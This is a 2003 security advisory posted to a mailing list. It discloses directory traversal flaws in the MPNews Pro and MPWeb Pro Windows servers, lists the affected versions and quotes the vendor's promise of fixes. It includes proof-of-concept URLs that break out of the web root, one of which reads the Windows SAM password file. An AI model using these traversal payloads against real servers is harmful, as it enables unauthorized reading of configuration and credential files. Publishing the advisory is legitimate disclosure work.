[NT] Mutantpenguin's MPNews and MPWeb Directory Traversal Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 10/07/03

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Date: 7 Oct 2003 18:12:04 +0200

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      Mutantpenguin's MPNews and MPWeb Directory Traversal Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mutantpenguin.co.uk/mpnewspro/> MPNews PRO is "a news server
    for Windows that allows you to create news groups on your own computer. It
    is more fully-featured than the standard, free version. MPNews PRO is
    exceptionally easy to configure and run."

     <http://www.mutantpenguin.co.uk/mpwebpro/> MPWeb PRO is "a web server for
    Windows that allows you to host web sites on your own computer. It is more
    fully-featured than the standard, free version."

    Both MPNews Server and MPWeb suffer from a directory traversal
    vulnerability, the vulnerability allows a remote attacker to break out of
    the web root and read arbitrary files from the server.

    DETAILS

    Vulnerable Systems:
     * MPNews Pro version 2.1.0.18
     * MPWeb Pro version 1.1.2

    MPNews Pro Directory traversal
    http://localhost:81/./.././../mpnews.ini

    MPWeb Pro Directory traversal
    http://localhost/./../mpweb.ini
    http://localhost/./.././.././../winnt/repair/sam

    Vendor Status:
    Date of Vendor Notification: 01/10/03

    Vendor response:
    "Hi,
    Thanks a lot for pointing these out to us. We are currently developing
    fixes which should be released in the next few days."

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:gs_lab@yahoo.com> Gama Sec

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